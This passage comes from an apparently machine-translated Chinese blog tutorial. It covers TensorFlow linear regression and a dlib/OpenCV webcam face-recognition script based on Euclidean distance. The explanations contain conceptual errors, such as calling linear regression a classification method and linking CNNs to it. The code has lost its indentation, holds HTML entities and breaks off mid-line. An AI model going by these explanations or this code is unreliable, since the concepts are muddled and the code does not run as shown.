step: 550, loss: 0.000184, W: 0.993356, b: 0.041808
step: 600, loss: 0.000150, W: 0.994005, b: 0.037724
step: 650, loss: 0.000122, W: 0.994590, b: 0.034039
step: 700, loss: 0.000099, W: 0.995119, b: 0.030714
step: 750, loss: 0.000081, W: 0.995596, b: 0.027714
step: 800, loss: 0.000066, W: 0.996026, b: 0.025006
step: 850, loss: 0.000054, W: 0.996414, b: 0.022564
step: 900, loss: 0.000044, W: 0.996764, b: 0.020360
step: 950, loss: 0.000036, W: 0.997080, b: 0.018371
step: 1000, loss: 0.000029, W: 0.997366, b: 0.016576
　　训练好的回归曲线，系数a为0.997366，截距b为0.016576
　　（2）基于欧式距离算法的人脸识别：源码；我的备份
　　强烈推荐这段代码，很用心；
　　写的很好，最近才上传，所以代码版本没有问题；
　　基本功能：摄像头采集图片采集，然后通过摄像头识别人脸。
　　技术路线图
　　（3）基于Tensorflow库的人脸识别神经网络：源码；备份我的修改。
　　作者把基于Tensorflow的神经网络架构写的非常简洁明了，难得的神经网络代码；
　　是 2017 年的代码，Tensorflow 版本 1.15.0；
　　人脸识别的准确性还有待确认，但这不是学习这段代码的重点；
　　基本功能：摄像头采集图片采集，然后通过摄像头识别人脸。2.2. 基于线性回归的卷积神经网络
　　机器学习这个话题下有一堆算法概念，让人眼花缭乱。这是一篇很好的文章 文章，与互联网上的中文资源相比，它全面而简单地列出了重要概念。链接地址。
　　模式识别的本质是分类，单变量线性回归是分类方法之一。形象地说，线性回归算法就是找到最大程度、最大概率区分不同类别的最佳直线。
　　在模式识别算法中，线性回归方程中的 (x) 及其系数 (a, b) 稍微复杂一些。
　　例如，自变量 (x) 定义了一个人脸，但它被设置为 128 个元素的一维数组。实际意义是：用128个正交坐标来定义所有的面，所以一个面是一个128维的向量空间中的一个点，所有面的集合都收录在这个向量空间中。
　　所以我觉得系数(a,b)自然应该是多维数组，用来在128维向量空间中划分不同的人脸子群。我想以这样一种方式来理解它们，因为数组可以收录大量信息，它们可以精确地区分面孔。因此，解决它们需要大量的数据来不断逼近最优和最现实的系数（a，b）。
　　戴上猫脸一会儿...
　　该求解过程采用迭代方法，定义迭代的 3 个参数控制回归算法的性能，即：
　　学习率 = 0.01
　　训练步数 = 1000
　　显示步长 = 50
　　并且回归曲线的性能在每次迭代中通过2个参数连续评估，即
　　失利
　　准确性
　　在我看来，CNN 是一种泛化数据的策略和方法。在每一轮迭代中，不断压缩归纳样本的N维数组（取最大值或平均值），最终得到一个具有显着区分能力的一维数组：图像原理。教科书般的专家评论。
　　CNN的调试和优化主要涉及几个概念：
　　Sigmoid函数、Softmax函数、ReLU函数（Rectified Linear Unit，ReLU）；
　　CNN的基本配置：卷积层、Relu层、池化层；
　　Tensorboard 工具：可视化神经网络性能变量，例如损失和准确性。
　　2.3. 基于欧式距离的人脸识别
　　以下是图片和文字。
　　2.4. TensorFlow 组织的卷积神经网络架构
　　同上，先看这里。
　　2.5. 完整的代码和功能代码块
　　（1）基于线性回归的机器学习最简单的例子
　　# Parameters.
learning_rate = 0.01
training_steps = 1000
display_step = 50
　　# Weight and Bias, initialized randomly.
W = tf.Variable(rng.randn(), name="weight")
b = tf.Variable(rng.randn(), name="bias")
# Linear regression (Wx + b).
def linear_regression(x):
return W * x + b
　　# Run the optimization to update W and b values.
run_optimization()

if step % display_step == 0:
pred = linear_regression(X)
loss = mean_square(pred, Y)
print("step: %i, loss: %f, W: %f, b: %f" % (step, loss, W.numpy(), b.numpy()))
　　from __future__ import absolute_import, division, print_function
import tensorflow as tf
import numpy as np
rng = np.random
# Parameters.
learning_rate = 0.01
training_steps = 1000
display_step = 50
# Training Data.
X = np.array([1,2,3,4,5,6,7,8,9])
Y = np.array([1,2,3,4,5,6,7,8,9])
n_samples = X.shape[0]
# Weight and Bias, initialized randomly.
W = tf.Variable(rng.randn(), name="weight")
b = tf.Variable(rng.randn(), name="bias")
# Linear regression (Wx + b).
def linear_regression(x):
return W * x + b
# Mean square error.
def mean_square(y_pred, y_true):
return tf.reduce_sum(tf.pow(y_pred-y_true, 2)) / (2 * n_samples)
# Stochastic Gradient Descent Optimizer.
optimizer = tf.optimizers.SGD(learning_rate)
# Optimization process.
def run_optimization():
# Wrap computation inside a GradientTape for automatic differentiation.
with tf.GradientTape() as g:
pred = linear_regression(X)
loss = mean_square(pred, Y)
# Compute gradients.
gradients = g.gradient(loss, [W, b])

# Update W and b following gradients.
optimizer.apply_gradients(zip(gradients, [W, b]))

# Run training for the given number of steps.
for step in range(1, training_steps + 1):
# Run the optimization to update W and b values.
run_optimization()

if step % display_step == 0:
pred = linear_regression(X)
loss = mean_square(pred, Y)
print("step: %i, loss: %f, W: %f, b: %f" % (step, loss, W.numpy(), b.numpy()))
import matplotlib.pyplot as plt
# Graphic display
plt.plot(X, Y, &#39;ro&#39;, label=&#39;Original data&#39;)
plt.plot(X, np.array(W * X + b), label=&#39;Fitted line&#39;)
plt.legend()
plt.show()
　　(2) 基于欧式距离的人脸识别
　　# 计算两个128D向量间的欧式距离
# Compute the e-distance between two 128D features
def return_euclidean_distance(feature_1, feature_2):
feature_1 = np.array(feature_1)
feature_2 = np.array(feature_2)
dist = np.sqrt(np.sum(np.square(feature_1 - feature_2)))
return dist
　　# Author: coneypo
# Blog: http://www.cnblogs.com/AdaminXie
# GitHub: https://github.com/coneypo/Dli ... amera
# Created at 2018-05-11
# Updated at 2019-04-09
import dlib # 人脸处理的库 Dlib
import numpy as np # 数据处理的库 numpy
import cv2 # 图像处理的库 OpenCv
import pandas as pd # 数据处理的库 Pandas
<p>
import os
# 人脸识别模型，提取128D的特征矢量
# face recognition model, the object maps human faces into 128D vectors
# Refer this tutorial: http://dlib.net/python/index.h ... el_v1
facerec = dlib.face_recognition_model_v1("data/data_dlib/dlib_face_recognition_resnet_model_v1.dat")
# 计算两个128D向量间的欧式距离
# Compute the e-distance between two 128D features
def return_euclidean_distance(feature_1, feature_2):
feature_1 = np.array(feature_1)
feature_2 = np.array(feature_2)
dist = np.sqrt(np.sum(np.square(feature_1 - feature_2)))
return dist
# 1. Check 存放所有人脸特征的 csv
if os.path.exists("data/features_all.csv"):
path_features_known_csv = "data/features_all.csv"
csv_rd = pd.read_csv(path_features_known_csv, header=None)
# 用来存放所有录入人脸特征的数组
# The array to save the features of faces in the database
features_known_arr = []
# 2. 读取已知人脸数据
# Print known faces
for i in range(csv_rd.shape[0]):
features_someone_arr = []
for j in range(0, len(csv_rd.ix[i, :])):
features_someone_arr.append(csv_rd.ix[i, :][j])
features_known_arr.append(features_someone_arr)
print("Faces in Database：", len(features_known_arr))
# Dlib 检测器和预测器
# The detector and predictor will be used
detector = dlib.get_frontal_face_detector()
predictor = dlib.shape_predictor(&#39;data/data_dlib/shape_predictor_68_face_landmarks.dat&#39;)
# 创建 cv2 摄像头对象
cap = cv2.VideoCapture(0)
# 3. When the camera is open
while cap.isOpened():
flag, img_rd = cap.read()
img_gray = cv2.cvtColor(img_rd, cv2.COLOR_RGB2GRAY)
faces = detector(img_gray, 0)
# 待会要写的字体 font to write later
font = cv2.FONT_ITALIC
# 存储当前摄像头中捕获到的所有人脸的坐标/名字
# The list to save the positions and names of current faces captured
pos_namelist = []
name_namelist = []
kk = cv2.waitKey(1)
# 按下 q 键退出
# press &#39;q&#39; to exit
if kk == ord(&#39;q&#39;):
break
else:
# 检测到人脸 when face detected
if len(faces) != 0:
# 4. 获取当前捕获到的图像的所有人脸的特征，存储到 features_cap_arr
# 4. Get the features captured and save into features_cap_arr
features_cap_arr = []
for i in range(len(faces)):
shape = predictor(img_rd, faces[i])
features_cap_arr.append(facerec.compute_face_descriptor(img_rd, shape))
# 5. 遍历捕获到的图像中所有的人脸
# 5. Traversal all the faces in the database
for k in range(len(faces)):
print("##### camera person", k+1, "#####")
# 让人名跟随在矩形框的下方
# 确定人名的位置坐标
# 先默认所有人不认识，是 unknown
# Set the default names of faces with "unknown"
name_namelist.append("unknown")
# 每个捕获人脸的名字坐标 the positions of faces captured
pos_namelist.append(tuple([faces[k].left(), int(faces[k].bottom() + (faces[k].bottom() - faces[k].top())/4)]))
# 对于某张人脸，遍历所有存储的人脸特征
# For every faces detected, compare the faces in the database
e_distance_list = []
for i in range(len(features_known_arr)):
# 如果 person_X 数据不为空
if str(features_known_arr[i][0]) != &#39;0.0&#39;:
print("with person", str(i + 1), "the e distance: ", end=&#39;&#39;)
e_distance_tmp = return_euclidean_distance(features_cap_arr[k], features_known_arr[i])
print(e_distance_tmp)
e_distance_list.append(e_distance_tmp)
else:
# 空数据 person_X
e_distance_list.append(999999999)
# Find the one with minimum e distance
similar_person_num = e_distance_list.index(min(e_distance_list))
print("Minimum e distance with person", int(similar_person_num)+1)
if min(e_distance_list) 查看全部